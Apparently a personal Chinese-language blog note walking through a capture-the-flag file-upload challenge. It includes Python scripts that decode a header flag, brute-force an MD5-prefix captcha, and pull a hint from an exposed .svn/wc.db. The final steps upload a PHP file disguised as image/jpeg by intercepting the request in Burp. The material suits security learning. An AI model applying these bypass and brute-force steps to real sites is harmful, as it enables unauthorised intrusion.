1. 程式人生 > >檔案上傳漏洞CTF筆記

檔案上傳漏洞CTF筆記

參加i春秋訓練營,根據大佬寫的write  up,以下為過程中個人筆記

訪問賽題 URL, 返回包如下

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 28 Dec 2017 08:19:49 GMT
Content-Type: text/html
Content-Length: 87
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Set-Cookie: PHPSESSID=uftmhmic9cts56dopv6vf7pjt1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
flag: ZmxhZ19pc19oZXJlOiBNakkxTXpnMw==
Vary: Accept-Encoding


Hi,CTFer!u should be a fast man:)<!-- Please post the ichunqiu what you find --

可以看到返回頭中的 flag 字樣,  根據提示構造發包

(使用python編寫的構造發包檔案,獲取返回的text,使用線上構造資料工具只能得到返回的html。經驗啊經驗)

import base64,requests
def main():
    a = requests.session()
    b = a.get("**網址連結***")
    key1 = b.headers["flag"]
    c = base64.b64decode(key1)
    d = str(c).split(':')
    key = base64.b64decode(d[1])
    body = {"ichunqiu":key}
    f = a.post("**網址連結***/",data=body)
    print f.text
if __name__ == '__main__':
    main()

返回如下

Path:xxxxxxx

訪問 URL+/xxxxxx/

點選跳轉到: action.php?action=login 登入頁面

訪問 URL+/xxxx/.svn/wc.db (SVN 原始碼洩露漏洞)(經驗)

可獲得提示 username is md5(HEL1OW10rDEvery0n3)(使用線上破解工具可得到使用者名稱)

觀察登入頁面得知 captcha 經過 MD5 之後的前六位為 xxxxxx, 所以需要先求得對應的 captcha 才能提交.

寫爆破驗證碼的指令碼(python編寫爆破指令碼,一般ctf比賽驗證碼都是八位數一下的數字組合)

import hashlib
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):
    for i in range(1,99999999):
        if md5(i)[0:6]  == str(s):
            print(i)
            exit(0)
if __name__ == '__main__':
    main("xxxx")

驗證碼: 用爆破指令碼跑

點選 Submit 提交, 彈窗提示, 可以不看, 點確定後檢視頁面原始碼, 找到 alert 函式

xxxxx.php(檔案上傳地址)

貼上到當前目錄下訪問: URL+/xxxx/xxxx.php

選擇一圖片格式檔案上傳, 在火狐瀏覽器新增代理工具FoxyProxy,通過burpsuit與火狐結合截包,改檔案字尾(php或者pht)即可獲得 flag, Content-Type: 務必為 image/jpeg

(檔案內容是文字,也就是沒真正web攻擊的小白我才會上傳圖片,哭)